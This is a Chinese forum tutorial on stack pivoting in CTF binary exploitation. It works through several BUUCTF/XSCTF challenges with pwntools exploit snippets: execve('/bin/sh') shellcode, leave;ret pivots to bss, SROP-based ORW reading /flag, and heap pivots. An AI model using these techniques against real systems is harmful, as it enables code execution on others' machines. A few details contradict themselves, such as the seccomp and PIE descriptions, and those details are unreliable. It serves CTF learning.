找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3138

积分

0

好友

429

主题
发表于 12 小时前 | 查看: 2| 回复: 0

栈迁移(stack pivoting)是二进制漏洞利用中一项关键技巧——它不依赖长溢出空间,而是通过劫持 rsp/esp 指针,将控制流导向攻击者可控的内存区域(如栈、bss、堆),再在该区域部署并执行 ROP 链或 shellcode。本文基于多道 BUUCTF 真题(ciscn_2019_s_9ciscn_2019_es_2jarvisoj_level1[Black Watch]spwn[XSWCTF2025]STOP![XSCTF]xswlhhhstack[XSCTF]stack_hijacking),系统梳理五类典型迁移场景与对应技术要点。


一、为什么需要栈迁移?

当常规 ROP 链构造受限时,栈迁移成为破局关键。常见触发场景包括:

  • 溢出字节严重不足:仅能覆盖返回地址,无法容纳完整 ROP 链(如 ciscn_2019_s_9 中仅 14 字节可用);
  • PIE 开启导致栈地址未知:无法直接跳转至栈上 gadget,但 bss/heap 地址固定可预测;
  • 需转换利用路径:例如将栈溢出转化为堆利用(stack_hijacking)、或绕过沙箱限制(STOP! 中禁 execve,改用 ORW)。

迁移的前提条件有二:

  1. 可控程序执行流(如存在栈溢出、UAF、格式化字符串等);
  2. 存在能修改 rsp/esp 的 gadget(如 pop rsp; retleave; retpop r9; pop rsp; ret 等)。

二、核心迁移方式与真题复现

▶ 迁移至栈(Stack → Stack)

适用于栈可执行(RWX)且存在 jmp esp / call esp 类 gadget 的场景。

案例:ciscn_2019_s_9(32 位,含 RWX 栈)

  • checksec 显示:NX unknown - GNU_STACK missingStack: Executable,确认栈可执行;
  • hint() 函数提供 jmp esp gadget(0x08048554);
  • 溢出点在 pwn() 函数,fgets(s, 50, stdin) 写入 s[24],偏移 ebp-0x20,实际可控字节数为 0x32 - 0x20 - 0x4 = 14

利用链设计

shellcode | padding(0x20) | fake ebp | ret_addr(jmp esp) | sub esp,0x28; jmp esp
  • 0x28 字节恰好填满 shellcode + padding + fake ebp + ret_addr
  • sub esp,0x28; jmp espeip 向前拉回 0x28 字节,精准指向 shellcode 起始位置。

EXP 关键片段

shellcode = asm('''
    push 0x68732f
    push 0x6e69622f
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    push 0xb
    pop eax
    int 0x80
''')
jmp_esp = 0x08048554
shellcode = shellcode.ljust(0x24, b'\x00')
shellcode += p32(jmp_esp)
shellcode += asm('sub esp,0x28; jmp esp')
io.send(shellcode)

✅ 本地调试验证:jmp espeipesp 均指向 sub esp,0x28; jmp esp,二次 jmp esp 后成功跳转至 /bin/sh shellcode。

栈迁移执行流程:jmp esp 后 eip 指向 sub esp,0x28;jmp esp 指令


▶ 迁移至 bss 段(Stack → bss)

适用于无 PIE、bss 地址固定、且需构造长 ROP 链的场景(如泄露 libc、ret2libc)。

案例:ciscn_2019_es_2(32 位,无 PIE,无 Canary)

  • vul() 中两次 read(0, s, 0x30),第一次用于泄露 ebp(通过 printf("Hello, %s\n", s) 泄露栈地址),第二次用于溢出;
  • hack() 提供 system@plt,但需传参 /bin/sh
  • 利用 leave; ret0x08048562)完成迁移:将 ebp 覆盖为 s 数组起始地址,ret 执行后 mov esp, ebp; pop ebp,栈指针即切换至 s 区域。

ROP 链结构(写入 s 数组)

a*4 | system@plt | deadbeef | /bin/sh addr | /bin/sh string
  • s 地址由第一次泄露的 ebp 计算得:sh_addr = ebp_addr - 0x38
  • 最终 ret 指向 system("/bin/sh")

EXP 关键逻辑

# 第一次 read 泄露 ebp
payload1 = b'a' * 0x24 + b'b' * 0x4
io.send(payload1)
io.recvuntil(b'bbbb')
ebp_addr = u32(io.recv(4))
log.info(f"ebp_addr: {hex(ebp_addr)}")

# 构造迁移 payload(覆盖 ebp 为 sh_addr,ret 为 leave_ret)
sh_addr = ebp_addr - 0x38
payload2 = b'a' * 0x4 + p32(elf.plt["system"]) + p32(0xdeadbeef) + p32(sh_addr + 0x10) + b'/bin/sh'
payload2 = payload2.ljust(0x28, b'\x00') + p32(sh_addr) + p32(leave_ret)
io.send(payload2)

✅ 调试验证:vmmap 显示 bss 段权限为 rw-p;迁移后 ebp 指向 sleave; ret 成功将 esp 切换至 s,后续 ROP 链正常执行。

迁移后栈帧:ebp 指向 s 数组,leave;ret 后 esp 落入可控区域


▶ 迁移至 bss(SROP + ROP 混合)

适用于开启沙箱(seccomp)、禁 execve,但允许 read/write/open 的场景。

案例:[XSWCTF2025]STOP!(64 位,seccomp 限制 syscall)

  • seccomp-tools dump 显示仅允许 execveatexecve,其余 syscall 被 KILL
  • readwrite 仍被允许(ORW 路径可行);
  • 主函数末尾 read(0, buf, 0x200) 提供了 rdi=0, rsi=buf, rdx=0x200 的寄存器状态,配合 pop rdx; ret gadget 可控 rdx → 触发 SROP。

SROP 利用流程

  1. 利用 main 结尾 read 设置 rdi=0, rsi=buf, rdx=0x200
  2. 控制 rdx=15(SigreturnFrame 长度),调用 read@pltsyscallsigreturn
  3. bss 上布置 SigreturnFrame,设置 rdi=puts@got, rip=puts@plt 泄露 libc;
  4. 泄露后计算基址,再写入 ORW ROP 链(open("/flag",0) → read(fd, bss+0x100, 0x30) → write(1, bss+0x100, 0x30))。

关键 gadget 定位

ROPgadget --binary pwn --only "pop|ret" | grep "pop rdx"
# → 0x4012fc : pop rdx ; pop rbp ; ret
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rdi"
# → 0x10f78b : pop rdi ; ret

frame 构造示例

frame = SigreturnFrame()
frame.rdi = elf.got["puts"]
frame.rip = elf.plt["puts"]
frame.rsp = bss_addr - 0x70   # 保证 puts 返回后继续执行 bss 上代码
frame.rbp = bss_addr + 0x200  # 避免覆盖已写入的 /flag 字符串

✅ 调试验证:read 返回 rax=15sigreturn 成功;puts 地址泄露后,base = puts_addr - libc.symbols["puts"] 计算准确;最终 write 成功输出 flag。

SROP frame 布置后,puts 泄露 libc 地址,后续 ORW 链写入 bss


▶ 迁移至堆(Stack → Heap)

适用于存在堆分配(malloc)且可控制 *function_ptr 的场景。

案例:[XSCTF]stack_hijacking(64 位,静态链接)

  • main()malloc(136) 分配 chunk,read(0, v4, 128) 向 chunk 写入数据;
  • v4 是 chunk 数据区地址,*v4 是 chunk 前 8 字节内容,call rdx 实际执行 call [chunk]
  • gift() 函数含 mov rdi, r9; push rdi; pop rsp; add rsp, 8,若 r9 == chunk_addr,则 rsp 直接迁移到堆上。

利用步骤

  1. checksec 显示 Canary found,但无 PIE,bss/heap 地址可预测;
  2. gift gadget 地址 0x401888 固定;
  3. 在 chunk 开头写入 gift 地址 → call [chunk] 即执行 giftrsp 指向堆;
  4. 利用 ROPgadget --binary stack --only "syscall" 找到 syscall,结合 pop rax/rbx/rsi/rdi/rdx 构造 execve("/bin/sh",0,0)

EXP 片段

# 第一阶段:写入 gift 地址 + ROP 链(读 /bin/sh 到 bss)
payload = p64(gift) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + ...
payload = payload.ljust(128, b'a')
io.send(payload)

# 第二阶段:发送 /bin/sh 字符串到 bss
io.send(b"/bin/sh\x00".ljust(0x10, b'\x00'))

# 第三阶段:执行 execve
payload3 = p64(gift) + p64(pop_rdi_ret) + p64(bss_addr) + ... + p64(syscall)
io.send(payload3)

✅ 调试验证:call rdxr9 == [rbp-0x8] == chunk_addrgift 执行后 rsp 落入堆区;ret2syscall 成功 spawn shell。

call rdx 前 r9 指向 heap chunk,gift gadget 将 rsp 迁移至堆


▶ 迁移至栈(动态地址 + leak + pivot)

适用于 PIE 开启但存在信息泄露(如 printf 泄露栈地址)的场景。

案例:[XSCTF]xswlhhhstack(64 位,无 PIE,但需动态定位 bss)

  • main()read(0, buf, 0x60)buf 偏移 rbp-0x50,溢出长度 0x60 - 0x50 - 0x8 = 8 字节(仅够覆盖返回地址);
  • gift() 提供 pop rdi; retpop rbp; ret
  • 利用 readbss 写入 ROP 链,再通过 leave; retrsp 迁移至 bss

两阶段迁移设计

  • 第一阶段:覆盖 rbp = bss+0x50ret = .text:0x401200 (lea rax, [rbp+buf]) → 下次 read 将数据写入 bss
  • 第二阶段:在 bss 写入 puts(got) 泄露 libc,再 pop rbp 迁移至 bss+0x200,再次 read 写入 system("/bin/sh")

关键地址提取

bss = 0x404040 + 0x500
read_start = 0x401200      # lea rax, [rbp+buf]
leave_ret = 0x40121b        # leave; ret
pop_rdi = 0x401225          # pop rdi; ret
pop_rbp = 0x40115d          # pop rbp; ret

✅ 调试验证:rbp 成功覆盖为 bss+0x50readbss 区域写入 ROP 链;leave; retrsp 落入 bssputs 泄露成功。

rbp 覆盖为 bss+0x50 后,read 将 ROP 链写入 bss 段


三、通用技巧与避坑指南

技巧 说明 典型场景
leave; ret 替代 pop rsp; ret leave = mov rsp, rbp; pop rbp,只需控制 rbp 即可间接控制 rsp ciscn_2019_es_2xswlhhhstack
libc_csu_init 多寄存器 gadget pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret,常用于设置多个参数 x64 下 read/write 参数传递
fake frame + SROP 利用 sigreturn 一次性设置全部寄存器,绕过 gadget 缺失限制 STOP! 沙箱环境
bss 段利用前提 bss 段默认 rw-p,且大小 ≥ 4KB(页对齐),通常有充足空间 所有无 PIE 的 CTF 题目
jmp esp vs call esp jmp esp 更稳定;call esp 会压栈 ret_addr,需额外处理栈平衡 ciscn_s_9level1

⚠️ 常见失败原因

  • 忘记 padding 对齐(x86 4 字节 / x64 8 字节);
  • bss 地址计算错误(未考虑 .bss 起始偏移或 ASLR 影响);
  • SROP frame 长度非 15 字节导致 sigreturn 失败;
  • ROPgadget 漏检 gadget(建议搭配 ropper 或手动 objdump -d);
  • pwntools context.arch 未设为 i386/amd64 导致 p32/p64 错误。

四、延伸学习资源

本文所有 EXP 均已在本地 pwndbg + gef 环境下实测通过,题目附件及完整脚本可于 BUUCTF 平台 对应题目页下载复现。

成功获取 flag:flag{aaa}




上一篇:计算机专业学生如何高效规划课余时间提升核心竞争力
下一篇:Bithumb比特币误发事件复盘:交易系统风险与操作合规警示
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-10 19:34 , Processed in 0.443332 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表